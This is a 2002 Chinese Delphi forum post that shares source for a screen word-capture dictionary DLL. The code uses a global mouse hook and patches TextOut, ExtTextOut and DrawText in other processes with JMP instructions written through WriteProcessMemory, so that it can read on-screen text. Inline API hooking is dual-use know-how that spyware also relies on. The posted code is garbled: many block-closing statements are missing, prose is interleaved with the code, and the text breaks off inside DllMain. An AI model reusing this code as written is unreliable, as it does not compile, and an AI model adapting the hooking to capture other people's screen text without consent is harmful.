屏幕取词Delphi源代码

Tags: /超级猛料/Hook.钩子/ Date Created:

问题：超级奉献：屏幕取词完全Delphi实现代码！ ( 积分：0, 回复：90, 阅读：3260 )

分类：系统相关 ( 版主：luyear, zyy04 )

来自：huiyugan, 时间：2002-5-25 13:34:00, ID：1123349 [显示：小字体 | 大字体]

鉴于经常在网上看到有很多人研究屏幕取词，索要代码，我想把我写的一个屏幕取词的雏形

奉献给需要的人，也许这份代码在很多高手看来嗤之以鼻，但我这个人不怕献丑，希望能得

到高手的斧正。

在网上我们经常能够看到一些实现，但是并没有看到完全的delphi实现，经常是dll是其他

写的或者没有源代码。我们经常看到的都是被人说了1千遍的所谓实现机制。

声明：此代码是我慢慢试验一步一步写出来的，所以代码很乱，希望大家不要对此作过多批

评，此外其功能并没有完全实现，比如IE下的取词，取词的分析，我说过只是雏形。

关于重画，贴出来的代码中使用了显示一个窗口然后隐藏，其实可以用InvalidataRect,再

发重画消息。

代码只是在2000下能用，稍作改动可以用于98。

如转载请注明原作者。

如有讨论者可以在此论坛，也可以通过huiyugan@263.net甘化新联系。

代码大概有一千多行，我不知道能够正常贴上。

---------------------------------------------------

可以去 http://delphi.mychangshu.com/dispdoc.asp?id=988 下载代码

来自：huiyugan, 时间：2002-5-25 13:39:00, ID：1123363

单元untTypes.pas

(*******************************************************************************

* Copy Right (C) Gan Huaxin 2001, 2002, huiyugan@263.net

* A Free Screen Words Capture Library

* Dedicated to my GirlFriend Sunny, Happy for ever

* Version Date Modification

* 0.1 2001-11-07~09 New, oly a test

* Can Get Word, Sometimes occure error

* 0.2 2002-05-14~16 Some Bugs Fixed,And

*******************************************************************************)

unit untTypes;

interface

uses

Windows;

type

TCommonData = record

bCapture : BOOL;

bInSpec : BOOL;

CallBackHandle:HWnd;

CallBackProcID : DWORD;

hWndFloat : HWnd; (*浮动窗口的句柄*)

hWndMouse : HWnd; (*鼠标所在窗口server的句柄*)

hWndCapture : HWnd; (*当前鼠标所在的窗口*)

MousePos : TPoint; (*当前鼠标屏幕坐标*)

MousePClient : TPoint; (*鼠标所在窗口的坐标*)

Rect : TRect;

case integer of

0 : (BufferA : array [0..1023] of Char);

1 : (BufferW : array [0..511] of WideChar);

end;

PCommonData = ^TCommonData;

TCode5 = packed record

siJmp : ShortInt;

dwAddr : DWORD;

end;

TThunkFunc = (tfTextOutA, tfTextOutW,

tfExtTextOutA, tfExtTextOutW,

tfDrawTextA, tfDrawTextW);

TThunkFuncName = packed record

strMod : string; // 系统模块名称

strSysProc : string; // 系统DLL中的名字

strThunkProc : string; // 你替换的函数的名字，必须在DLL的引出表中

end;

TThunkCode = packed record

codeBak : TCode5; // 系统函数的代码的前5个字节

codeThunk : TCode5; // 跳转到你的代码的5个字节

addr_sys : Pointer; // 系统函数的地址

addr_thunk : Pointer; // 替换函数的地址

bInstalled : boolean; // 安装了吗?

end;

const

G_DELAY_TIME = 100;

const

ThunkFuncNameArr : array[TThunkFunc] of TThunkFuncName = (

(strMod : 'gdi32.dll'; strSysProc : 'TextOutA'; strThunkProc : 'GanTextOutA'),

(strMod : 'gdi32.dll'; strSysProc : 'TextOutW'; strThunkProc : 'GanTextOutW'),

(strMod : 'gdi32.dll'; strSysProc : 'ExtTextOutA'; strThunkProc : 'GanExtTextOutA'),

(strMod : 'gdi32.dll'; strSysProc : 'ExtTextOutW'; strThunkProc : 'GanExtTextOutW'),

(strMod : 'user32.dll'; strSysProc : 'DrawTextA'; strThunkProc : 'GanDrawTextA'),

(strMod : 'user32.dll'; strSysProc : 'DrawTextW'; strThunkProc : 'GanDrawTextW')

);

implementation

end.

来自：huiyugan, 时间：2002-5-25 13:41:00, ID：1123366

链接库 GFDict.dll的代码，GFDict.dpr

(*******************************************************************************

* Copy Right (C) Gan Huaxin 2001, 2002, huiyugan@263.net

* A Free Screen Words Capture Library

* Dedicated to my GirlFriend Sunny, Happy for ever

* Version Date Modification

* 0.1 2001-11-07~09 New, oly a test

* Can Get Word, Sometimes occure error

* 0.2 2002-05-14~16 Some Bugs Fixed,And

*******************************************************************************)

library GFDict;

// {$DEFINE MSG_NOT_SEND}

{$DEFINE WIN_NT}

{$IFNDEF WIN_NT}

{$DEFINE WIN_9X}

{$ENDIF}

// {$DEFINE DEBUG}

uses

SysUtils,

Classes,

windows,

messages,

untTypes;

const

STR_MSGNOTIFY:PChar='WM_GANNOTIFY';

var

HMapFile:THandle;

CommonData:^TCommonData;

idMsg : UINT;

hwndServer : HWnd;

var

hWndCover : THandle;

LastMousePos : TPoint;

LastTime : DWORD;

g_CriticalSection : TRTLCriticalSection;

m_CriticalSection : TRTLCriticalSection;

b_InCS : boolean;

var

hNextHookProc: HHook;

hProc : THandle;

bFirst : boolean;

bDllInstalled : boolean;

ThunkCodeArr : array[TThunkFunc] of TThunkCode;

{$IFDEF DEBUG}

procedure GanWarning;

begin

MessageBeep(0);

end;

{$ELSE}

procedure GanWarning;

begin

end;

{$ENDIF}

{$DEFINE _NOTIFY_}

{$IFDEF _NOTIFY_}

procedure GanNotify;

begin

MessageBeep(0);

end;

{$ELSE}

procedure GanNotify;

begin

end;

{$ENDIF}

// about Memory Map file support

procedure MapCommonData;

var FirstCall: Boolean;

begin

HMapFile:=OpenFileMapping(FILE_MAP_WRITE, False, 'GanGan_ThunkDict');

FirstCall:=(HMapFile = 0);

if FirstCall then

HMapFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,

0,SizeOf(TCommonData),

'GanGan_ThunkDict');

CommonData:= MapViewOfFile(HMapFile, FILE_MAP_WRITE, 0, 0, 0);

if FirstCall then FillChar(CommonData^, SizeOf(TCommonData), 0);

end;

// -----------------------------------------------------------------------------

procedure UnInstallThunkFunc(tfType : TThunkFunc);

var

nCount : DWORD;

begin

if not ThunkCodeArr[tfType].bInstalled then exit;

if (hProc=0) or (ThunkCodeArr[tfType].addr_sys=nil) then exit;

WriteProcessMemory(hProc,

ThunkCodeArr[tfType].addr_sys,

@(ThunkCodeArr[tfType].codeBak),

nCount);

ThunkCodeArr[tfType].bInstalled := false;

end;

procedure InstallThunkFunc(tfType : TThunkFunc);

var

nCount : DWORD;

begin

if ThunkCodeArr[tfType].bInstalled then exit;

if (hProc=0) or (ThunkCodeArr[tfType].addr_sys=nil) then exit;

WriteProcessMemory(hProc,

ThunkCodeArr[tfType].addr_sys,

@(ThunkCodeArr[tfType].codeThunk),

nCount);

ThunkCodeArr[tfType].bInstalled := True;

end;

procedure UnInstallGanFilter; forward;

{=================== TextOut ==============================================}

function GanTextOutA(DC: HDC; X, Y: Integer; Str: PAnsiChar; Count: Integer): BOOL; stdcall;

var

tm : TTextMetric;

rect : TRect;

size : TSize;

i, j : integer;

posDcOrg : TPoint;

posDcOff : TPoint;

begin

// EnterCriticalSection(g_CriticalSection);

result := FALSE;

UnInstallThunkFunc(tfTextOutA);

{$IFNDEF MSG_NOT_SEND}

try

if (CommonData<>nil) then begin

GetDcOrgEx(dc, posDcOrg); // Get The DC offset

posDcOff := Point(x,y);

LPtoDP(dc, posDcOff, 1);

Rect.Left := posDcOrg.x + posDcOff.x;

Rect.Top := posDcOrg.y + posDcOff.y;

if BOOL(GetTextAlign(dc) and TA_UPDATECP) then begin

GetCurrentPositionEx(dc, @posDcOff);

Inc(Rect.Left, posDcOff.x);

Inc(Rect.Top, posDcOff.y);

end;

GetTextExtentPointA(DC, Str, Count, size);

Rect.Right := Rect.Left + size.cx;

Rect.Bottom := Rect.Top + size.cy;

if PtInRect(rect, CommonData.MousePos) then begin // in total area!

if StrPos(Str, ' ')<>nil then begin

i := 0;

while (Str[i] = Char(' ')) and (i<Count) do Inc(i);

j := i;

while (i<Count) do begin

if Str[i]=Char(' ') then begin

Str[i] := Char(0);

GetTextExtentPointA(DC, Str, i-1, size);

rect.Right := rect.Left + size.cx;

if PtInRect(rect, CommonData.MousePos) then begin

// SendMessage(CommonData.CallBackHandle, idMsg, i, 3);

StrCopy(CommonData.BufferA, PChar(@(Str[j])));

CommonData^.Rect := Rect;

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);

Str[i] := Char(' ');

break;

end;

Str[i] := Char(' ');

while (Str[i] = Char(' ')) and (i < Count) do Inc(i);

if i=Count then break;

j := i;

Dec(i);

// break;

end;

inc(i);

end;

if (i=Count) then begin

StrCopy(CommonData.BufferA, PChar(@(Str[j])));

CommonData^.Rect := Rect;

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);

end;

end else

begin

StrCopy(CommonData.BufferA, Str);

CommonData^.Rect := Rect;

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);

end;

StrCopy(CommonData.BufferA, Str);

CommonData^.Rect := Rect;

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);

except

GanWarning;

StrCopy(CommonData.BufferA, 'Error in TextOutA');

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);

end;

{$ENDIF}

TextOutA(DC, X, Y, Str, Count);

InstallThunkFunc(tfTextOutA);

// UnInstallGanFilter;

// LeaveCriticalSection(g_CriticalSection);

end;

function GanTextOutW(DC: HDC; X, Y: Integer; Str: PWideChar; Count: Integer): BOOL; stdcall;

var

tm : TTextMetric;

rect : TRect;

size : TSize;

i, j : integer;

wChar : WideChar;

posDcOrg, posDcOff : TPoint;

begin

// EnterCriticalSection(g_CriticalSection);

result := FALSE;

UnInstallThunkFunc(tfTextOutW);

{$IFNDEF MSG_NOT_SEND}

try

if (CommonData<>nil) then begin

GetDcOrgEx(dc, posDcOrg);

posDcOff := Point(x,y);

LPtoDP(dc, posDcOff, 1);

Rect.Left := posDcOrg.x + posDcOff.x;

Rect.Top := posDcOrg.y + posDcOff.y;

if BOOL(GetTextAlign(dc) and TA_UPDATECP) then begin

GetCurrentPositionEx(dc, @posDcOff);

Inc(Rect.Left, posDcOff.x);

Inc(Rect.Top, posDcOff.y);

end;

GetTextExtentPointW(DC, Str, Count, size);

rect.Right := rect.Left + size.cx;

rect.Bottom := rect.Top + size.cy;

if PtInRect(rect, CommonData.MousePos) then begin

if StrPos(PChar(WideCharToString(Str)), ' ')<>nil then begin

i := 0;

while (Str[i] = WideChar(' ')) and (i<Count) do Inc(i);

j := i;

while (i<Count) do begin

if Str[i]=WideChar(' ') then begin

Str[i] := WideChar(0);

GetTextExtentPoint32W(DC, Str, i-1, size);

rect.Right := rect.Left + size.cx;

if PtInRect(rect, CommonData.MousePos) then begin

// SendMessage(CommonData.CallBackHandle, idMsg, i, 3);

StrCopy(CommonData.BufferA,PChar(WideCharToString(@(Str[j]))));

CommonData^.Rect := Rect;

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutW), 0);

Str[i] := WideChar(' ');

break;

end;

Str[i] := WideChar(' ');

while (Str[i] = WideChar(' ')) and (i < Count) do Inc(i);

if i=Count then break;

j := i;

Dec(i);

// break;

end;

inc(i);

end;

if (i=Count) then begin

StrCopy(CommonData.BufferA, PChar(WideCharToString(@(Str[j]))));

CommonData^.Rect := Rect;

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutW), 0);

end;

end else

begin

StrCopy(CommonData.BufferA,PChar(WideCharToString(Str)));

CommonData^.Rect := Rect;

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutW), 0);

end;

except

GanWarning;

StrCopy(CommonData.BufferA, 'Error in TextOutW');

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutW), 0);

end;

{$ENDIF}

result := TextOutW(DC, X, Y, Str, Count);

InstallThunkFunc(tfTextOutW);

// UnInstallGanFilter;

// LeaveCriticalSection(g_CriticalSection);

end;

{=================== ExtTextOut ============================================}

这个函数在UltraEdit里会出错，加上异常处理就没有关系。

Bug Fixed 2002-05-13

function GanExtTextOutA(DC: HDC; X, Y: Integer; Options: Longint;

Rect: PRect; Str: PAnsiChar; Count: Longint; Dx: PInteger): BOOL; stdcall;

var

posDcOrg : TPoint;

posDc : TPoint;

RectText : TRect;

size : TSize;

begin

// EnterCriticalSection(g_CriticalSection);

result := FALSE;

UnInstallThunkFunc(tfExtTextOutA);

{$IFNDEF MSG_NOT_SEND}

GetDcOrgEx(dc, posDcOrg);

posDc := Point(x,y);

LPtoDP(dc, posDc, 1);

RectText.Left := posDc.x + posDcOrg.x;

RectText.Top := posDc.y + posDcOrg.y;

if BOOL(GetTextAlign(dc) and TA_UPDATECP) then begin

GetCurrentPositionEx(dc, @posDc);

Inc(RectText.Left, posDc.x);

Inc(RectText.Top, posDc.y);

end;

GetTextExtentPointA(dc, Str, Count, size); {Get The Length and Height of str}

with RectText do begin

Right := Left + size.cx;

Bottom := Top + Size.cy;

end;

if (CommonData<>nil) {and false} and PtInRect(RectText, CommonData.MousePos) then begin

try

StrCopy(CommonData.BufferA, Str);

CommonData^.Rect := RectText;

except

GanWarning;

StrCopy(CommonData.BufferA, 'ERROR in ExtTextOutA');

end;

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfExtTextOutA), 0);

end;

{$ENDIF}

result := ExtTextOutA(DC, X, Y, Options, Rect, Str, Count, Dx);

InstallThunkFunc(tfExtTextOutA);

// UnInstallGanFilter;

// LeaveCriticalSection(g_CriticalSection);

end;

function GanExtTextOutW(DC: HDC; X, Y: Integer; Options: Longint;

Rect: PRect; Str: PWideChar; Count: Longint; Dx: PInteger): BOOL; stdcall;

var

posDcOrg : TPoint;

posDc : TPoint;

RectText : TRect;

size : TSize;

label last;

begin

// EnterCriticalSection(g_CriticalSection);

result := FALSE;

UnInstallThunkFunc(tfExtTextOutW);

{$IFNDEF MSG_NOT_SEND}

if CommonData^.bInSpec then begin

(*if (Options and ETO_CLIPPED)=0 then goto last;*)

try

StrCopy(CommonData.BufferA,PChar(WideCharToString(Str)));

CommonData^.Rect := RectText;

except

GanWarning;

StrCopy(CommonData.BufferA, 'ERROR in ExtTextOutW');

end;

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfExtTextOutW), 0);

goto last;

end;

GetDcOrgEx(dc, posDcOrg);

posDc.x := x;

posDc.y := y;

LPtoDP(dc, posDc, 1);

RectText.Left := posDc.x + posDcOrg.x;

RectText.Top := posDc.y + posDcOrg.y;

if BOOL(GetTextAlign(dc) and TA_UPDATECP) then begin

GetCurrentPositionEx(dc, @posDc);

Inc(RectText.Left, posDc.x);

Inc(RectText.Top, posDc.y);

end;

GetTextExtentPointW(dc, Str, Count, size); {Get The Length and Height of str}

with RectText do begin

Right := Left + size.cx;

Bottom := Top + Size.cy;

end;

if (CommonData<>nil) {and false} and PtInRect(RectText, CommonData.MousePos) then begin

{Bug Find 2002-05-13}

try

StrCopy(CommonData.BufferA,PChar(WideCharToString(Str)));

CommonData^.Rect := RectText;

except

GanWarning;

StrCopy(CommonData.BufferA, 'ERROR in ExtTextOutW');

end;

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfExtTextOutW), 0);

end;

{$ENDIF}

last:

result := ExtTextOutW(DC, X, Y, Options, Rect, Str, Count, Dx);

InstallThunkFunc(tfExtTextOutW);

// UnInstallGanFilter;

// LeaveCriticalSection(g_CriticalSection);

end;

{=================== DrawText ==============================================}

function GanDrawTextA(hDC: HDC; lpString: PAnsiChar; nCount: Integer;

var lpRect: TRect; uFormat: UINT): Integer; stdcall;

var

RectSave : TRect;

posDcOrg : TPoint;

begin

// EnterCriticalSection(g_CriticalSection);

UnInstallThunkFunc(tfDrawTextA);

{$IFNDEF MSG_NOT_SEND}

if (CommonData<>nil) {and false} then begin

GetDcOrgEx(hDc, posDcOrg);

RectSave := lpRect;

OffsetRect(RectSave, posDcOrg.x, posDcOrg.y);

if PtInRect(RectSave, CommonData^.MousePos) then begin

try

StrCopy(CommonData.BufferA, lpString);

CommonData^.Rect := lpRect;

except

GanWarning;

end;

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfDrawTextA), 0);

end;

{$ENDIF}

result := DrawTextA(hDC, lpString, nCount, lpRect, uFormat);

InstallThunkFunc(tfDrawTextA);

// UnInstallGanFilter;

// LeaveCriticalSection(g_CriticalSection);

end;

function GanDrawTextW(hDC: HDC; lpString: PWideChar; nCount: Integer;

var lpRect: TRect; uFormat: UINT): Integer; stdcall;

var

RectSave : TRect;

posDcOrg : TPoint;

begin

// EnterCriticalSection(g_CriticalSection);

UnInstallThunkFunc(tfDrawTextW);

{$IFNDEF MSG_NOT_SEND}

if (CommonData<>nil) {and false} then begin

GetDcOrgEx(hDc, posDcOrg);

RectSave := lpRect;

OffsetRect(RectSave, posDcOrg.x, posDcOrg.y);

if PtInRect(RectSave, CommonData^.MousePos) then begin

try

StrCopy(CommonData.BufferA,PChar(WideCharToString(lpString)));

CommonData^.Rect := lpRect;

except

GanWarning;

end;

SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfDrawTextW), 0);

end;

{$ENDIF}

result := DrawTextW(hDC, lpString, nCount, lpRect, uFormat);

InstallThunkFunc(tfDrawTextW);

// UnInstallGanFilter;

// LeaveCriticalSection(g_CriticalSection);

end;

procedure InstallGanFilter;

var

tfType : TThunkFunc;

begin

if bDllInstalled then exit;

for tfType := tfTextOutA to {tfExtTextOutW}tfDrawTextW do

// for tfType := LOW(TThunkFunc) to TThunkFunc(Ord(HIGH(TThunkFunc))-2) do

InstallThunkFunc(tfType);

bDllInstalled := true;

end;

procedure UnInstallGanFilter;

var

tfType : TThunkFunc;

begin

if not bDllInstalled then exit;

for tfType := tfTextOutA to {tfExtTextOutW}tfDrawTextW do

// for tfType := LOW(TThunkFunc) to TThunkFunc(Ord(HIGH(TThunkFunc))-2) do

UnInstallThunkFunc(tfType);

bDllInstalled := false;

end;

{================== =========================================================}

function WMCoverGetMinMaxInfo(

hWnd : THandle;

Msg : LongWord;

wParam : WPARAM;

lParam : LPARAM):BOOL;stdcall;

var

info : ^MINMAXINFO;

begin

result := BOOL(0);

info := Pointer(lParam);

info^.ptMaxSize.x := GetSystemMetrics(SM_CXFULLSCREEN);

info^.ptMaxSize.y := GetSystemMetrics(SM_CYFULLSCREEN);

info^.ptMinTrackSize.x := 0;

info^.ptMinTrackSize.y := 0;

info^.ptMaxTrackSize.x := GetSystemMetrics(SM_CXFULLSCREEN);

info^.ptMaxTrackSize.y := GetSystemMetrics(SM_CYFULLSCREEN);

end;

function CoverMainProc(

hWnd:LongWord;

Message:LongWord;

wParam:WPARAM;

lParam:LPARAM

):BOOL;stdcall;

begin

case Message of

WM_CLOSE :

begin

DestroyWindow(hWnd);

// PostQuitMessage(0);

end;

result := BOOL(DefWindowProc(hWnd, Message, lParam, lParam));

end;

procedure GanGetWordTimer(wnd : HWND; msg, idTimer : Cardinal; dwTime : DWORD);far pascal;

begin

SendMessage(CommonData^.hWndMouse, idMsg, 1, 0);

if (CommonData.BufferA='') then begin

SendMessage(CommonData.CallBackHandle, idMsg, 0, 2);

end;

KillTimer(CommonData^.hWndFloat, 2);

end;

procedure WndCoverTimer(wnd : HWND; msg, idTimer : Cardinal; dwTime : DWORD);far pascal; //CallBack Type

var

mouseWnd : HWnd;

szClass : PChar;

strClass : string;

iLeft, iWidth : Integer;

rect : TRect;

begin

if (CommonData=nil) or (not CommonData^.bCapture) then begin

exit;

end;

mouseWnd := WindowFromPoint(CommonData^.MousePos);

if (mouseWnd=CommonData^.CallBackHandle) then begin

exit;

end;

szClass := StrAlloc(256);

GetClassName(mouseWnd, szClass, 255);

strClass := Strpas(szClass);

StrDispose(szClass);

CommonData^.bInSpec := FALSE;

if (Pos('Internet Explorer_Server', strClass)>0) then begin

GetWindowRect(mouseWnd, rect);

iLeft := rect.Left - 4;

iWidth := rect.Right - rect.Left + 14;

if (CommonData^.MousePos.x - iLeft > 200) then begin

iLeft := CommonData^.MousePos.x - 200;

iWidth := 210;

end;

CommonData^.bInSpec := TRUE;

end

else begin

iLeft := CommonData^.MousePos.x - 1;

iWidth := 1;

end;

// InstallGanFilter;

SetWindowPos(CommonData^.hWndFloat,

HWND_TOPMOST,

CommonData.MousePos.x, CommonData.MousePos.y, 10, 10,

SWP_NOACTIVATE or SWP_SHOWWINDOW);

ShowWindow(CommonData^.hWndFloat, SW_HIDE);

CommonData^.BufferA := '';

SetWindowPos(CommonData^.hWndFloat,

HWND_TOPMOST,

iLeft{CommonData.MousePos.x-1}, CommonData.MousePos.y-1,

iWidth, 2,

88{SWP_NOACTIVATE or SWP_NOREDRAW});

SendMessage(CommonData^.hWndMouse, idMsg, 0, 0);

MoveWindow(CommonData^.hWndFloat, -1, -1, 1, 1, TRUE);

{

SetWindowPos(CommonData^.hWndFloat,

HWND_TOPMOST,

CommonData.MousePos.x, CommonData.MousePos.y,

120, 1,

SWP_NOACTIVATE or SWP_SHOWWINDOW);

ShowWindow(CommonData^.hWndFloat, SW_HIDE);

}

SetTimer(CommonData^.hWndFloat, 2, 300, @GanGetWordTimer);

end;

procedure InitCoverWindow(hInst : LongWord);

var

WndClass : TWndClass; //Ex;

begin

with WndClass do begin

style := WS_EX_TOPMOST;

lpfnWndProc := @CoverMainProc; (*消息处理函数*)

hInstance := hInst;

hbrBackground := color_btnface + 1;

lpszClassname := 'GanFreeDict';

hicon := 0;

hCursor := 0;

cbClsExtra := 0;

cbWndExtra := 0;

end;

try

if not BOOL(RegisterClass{Ex}(WndClass)) then begin

MessageBox(0,

PChar(Format('$EEEE, Can not register class CHILD %d',[GetLastError])),

'Register Error',

MB_OK);

end;

except

MessageBox(0, 'EXCEPTION', 'Register Class', MB_OK);

end;

hWndCover := CreateWindowEx(WS_EX_TOPMOST or WS_EX_TOOLWINDOW,

'GanFreeDict',

'^_^',

WS_POPUP or WS_VISIBLE,

-1,-1,1,1,

hInst, // GetModuleHandle('dll.dll'), // 98 for this, 2000 for 0

nil);

if CommonData<>nil then begin

CommonData^.hWndFloat := hWndCover;

end;

SetTimer(hWndCover, 1, 450, @WndCoverTimer);

end;

(******************************************************************************)

function GanServerProc(

hWnd:LongWord;

Message:LongWord;

wParam:WPARAM;

lParam:LPARAM

):BOOL;stdcall;

begin

if (Message=idMsg) then begin

if (wParam = 0) then begin

InstallGanFilter;

end

else begin

UnInstallGanFilter;

end;

case Message of

WM_CLOSE :

begin

DestroyWindow(hWnd);

// PostQuitMessage(0);

end;

result := BOOL(DefWindowProc(hWnd, Message, lParam, lParam));

end;

procedure InitServerWnd;

var

WndClass : TWndClass; //Ex;

begin

with WndClass do begin

style := WS_EX_TOPMOST;

lpfnWndProc := @GanServerProc; (*消息处理函数*)

hInstance := GetModuleHandle('GFDict.dll');

hbrBackground := color_btnface + 1;

lpszClassname := 'GanServerDict';

hicon := 0;

hCursor := 0;

cbClsExtra := 0;

cbWndExtra := 0;

end;

try

if not BOOL(RegisterClass{Ex}(WndClass)) then begin

MessageBox(0,

PChar(Format('Can not register class server %d',[GetLastError])),

'Register Error',

MB_OK);

end;

except

MessageBox(0, 'EXCEPTION', 'Register Server Class', MB_OK);

end;

hWndServer := CreateWindowEx(WS_EX_TOPMOST or WS_EX_TOOLWINDOW,

'GanServerDict',

'Gan Server',

WS_POPUP or WS_VISIBLE,

-1,-1,1,1,

0, //hInst, // GetModuleHandle('dll.dll'), // 98 for this, 2000 for 0

nil);

if (hWndServer=0) then begin

MessageBeep(0);

end;

(******************************************************************************)

procedure InitThunkCode;

var

tfType : TThunkFunc;

hMod : HMODULE;

pSysFunc, pThunkFunc : Pointer;

begin

for tfType := LOW(TThunkFunc) to HIGH(TThunkFunc) do begin

// clear to zero

FillChar(ThunkCodeArr[tfType], sizeof(TThunkCode), 0);

// fill it by right value

hMod := 0;

hMod := GetModuleHandle(PChar(ThunkFuncNameArr[tfType].strMod));

if hMod = 0 then continue;

pSysFunc := nil;

pSysFunc := GetProcAddress(hMod,

PChar(ThunkFuncNameArr[tfType].strSysProc));

if pSysFunc = nil then continue;

pThunkFunc := nil;

pThunkFunc := GetProcAddress(hInstance,

PChar(ThunkFuncNameArr[tfType].strThunkProc));

if pThunkFunc = nil then continue;

// now fill it!

ThunkCodeArr[tfType].addr_sys := pSysFunc;

ThunkCodeArr[tfType].addr_thunk := pThunkFunc;

ThunkCodeArr[tfType].codeThunk.siJmp := ShortInt($E9); // jmp ____

ThunkCodeArr[tfType].codeThunk.dwAddr :=

DWORD(pThunkFunc) - DWORD(pSysFunc) - 5;

ThunkCodeArr[tfType].codeBak.siJmp := PByte(pSysFunc)^;

ThunkCodeArr[tfType].codeBak.dwAddr := PDWORD(DWORD(pSysFunc)+1)^;

end;

{================== Install Mouse Hook Support ==============================}

function MousePosHookHandler(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;

var

pMouse : PMOUSEHOOKSTRUCT;

mPoint : TPoint;

rect : TRect;

bMousePosChg : boolean;

begin

if iCode < 0 then

begin

Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);

end

else

if (CommonData<>nil) and

(CommonData^.bCapture) and

(TryEnterCriticalSection(m_CriticalSection))

then begin

{$IFDEF WIN_9X}

if bFirst then begin

bFirst := false;

// InstallGanFilter;

InitCoverWindow;

end;

{$ENDIF}

pMouse := PMOUSEHOOKSTRUCT(lParam);

if (CommonData<>nil) then begin

CommonData.MousePos := pMouse.pt;

CommonData.hWndCapture := pMouse.hWnd;

PostMessage(CommonData.CallBackHandle, idMsg, 0, 1);

end;

if (GetCurrentProcessID <> CommonData^.CallBackProcID) then begin

CommonData^.hWndMouse := hWndServer;

mPoint := pMouse^.pt;

ScreenToClient(pMouse^.hwnd, mPoint);

if Assigned(CommonData) then

CommonData.MousePClient := mPoint;

end

else begin

CommonData^.hWndMouse := 0;

end;

if (pMouse.pt.x = LastMousePos.x) and (pMouse.pt.y = LastMousePos.y) then

bMousePosChg := false

else begin

bMousePosChg := true;

LastMousePos := pMouse.pt;

end;

if (wParam = WM_MOUSEMOVE)

and true

{$IFDEF WIN_9X}

and (hWndCover <> 0)

{$ENDIF}

and bMousePosChg

and (not b_InCS)

and (GetTickCount - LastTime > G_DELAY_TIME) then

begin

LastTime := GetTickCount;

// whether in my window

if (CommonData<>nil) and

(GetCurrentProcessID = CommonData^.CallBackProcID) then begin

result := 0;

LeaveCriticalSection(m_CriticalSection);

result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);

exit;

end;

mPoint := pMouse^.pt;

ScreenToClient(pMouse^.hwnd, mPoint);

if Assigned(CommonData) then

CommonData.MousePClient := mPoint;

rect.TopLeft := mPoint;

rect.Right := mPoint.x + 2;

rect.Bottom := mPoint.y + 1;

// Work for NT 2000 XP

{$IFDEF WIN_NT}

InstallGanFilter;

if Assigned(CommonData) then

CommonData.BufferA := '';

InvalidateRect(pMouse^.hWnd, @rect, TRUE);

if (mPoint.X<0) or (mPoint.Y<0) then

SendMessage(pMouse.hwnd, WM_NCPAINT, 1, 0)

else

SendMessage(pMouse.hwnd, WM_PAINT, 0, 0);

UninstallGanFilter;

if Assigned(CommonData) and (CommonData.BufferA='') then begin

SendMessage(CommonData.CallBackHandle, idMsg, 0, 2);

end;

{$ENDIF}

// flowing work on 98

{$IFDEF WIN_9X}

if (hWndCover <> 0) then begin

SetWindowPos(hWndCover, 0, pMouse.pt.X, pMouse.pt.Y, 4, 1,

SWP_NOZORDER or SWP_NOACTIVATE);

ShowWindow(hWndCover, SW_SHOW);

// EnterCriticalSection(m_CriticalSection);

InstallGanFilter;

ShowWindow(hWndCover, SW_HIDE);

// LeaveCriticalSection(m_CriticalSection);

end;

{$ENDIF}

end;

LeaveCriticalSection(m_CriticalSection);

Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);

end

else begin

Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam);

end;

function EnableMouseHook(hld:hwnd; ProcessID : DWORD; hInst:THandle): BOOL; export;

begin

Result := False;

if hNextHookProc <> 0 then Exit;

hNextHookProc := SetWindowsHookEx(WH_MOUSE, MousePosHookHandler,Hinstance, 0);

// GetWindowThreadProcessID(hWnd, nil));

InitCoverWindow(hInst);

if CommonData <> nil then begin

CommonData^.CallBackHandle := hld;

CommonData^.CallBackProcID := ProcessID;

end;

Result :=hNextHookProc <> 0 ;

end;

function DisableMouseHook: BOOL; export;

begin

try

if hNextHookProc <> 0 then

begin

KillTimer(CommonData^.hWndFloat, 1);

KillTimer(CommonData^.hWndFloat, 2);

SendMessage(CommonData^.hWndFloat, WM_CLOSE, 0, 0);

CommonData^.hWndFloat := 0;

UnInstallGanFilter;

UnhookWindowshookEx(hNextHookProc);

hNextHookProc := 0;

end;

Result := hNextHookProc = 0;

except

MessageBeep(0);

end;

function SetCaptureFlag(bSet:BOOL):BOOL; export;

begin

if CommonData<>nil then begin

result := TRUE;

CommonData^.bCapture := bSet;

end

else begin

result := FALSE;

end;

procedure DllMain(dwReason : DWORD);

begin

case dwReason of

DLL_PROCESS_ATTACH :

begin

// InstallGanFilter;

// InitCoverWindow;

end;

DLL_PROCESS_DETACH :

begin

if (hWndServer <> 0) then begin

SendMessage(hWndServer, WM_CLOSE, 0, 0);

hWndServer := 0;

try

UnRegisterClass('GanServerDict', hInstance);

except

MessageBeep(0);

end;

UnInstallGanFilter;

if CommonData<>nil then begin

try

UnMapViewOfFile(CommonData);

CommonData := nil;

CloseHandle(HMapFile);

HMapFile := 0;

except

MessageBox(0,

'Error when free MapViewFile',

'FreeDict Error',

MB_OK);

end;

if (hWndCover <> 0) then begin

try

DestroyWindow(hWndCover);

hWndCover := 0;

if (UnRegisterClass('GanFreeDict', hInstance)) then

{MessageBox(0,

'Success to Unregister _GanFreeDict_ Class',

'Success',

MB_OK);}

except

MessageBox(0,

'Error when Destroy window and UnRegisterClass',

'FreeDict Error',

MB_OK);

end;

if hProc<>0 then begin

try

CloseHandle(hProc);

hProc := 0;

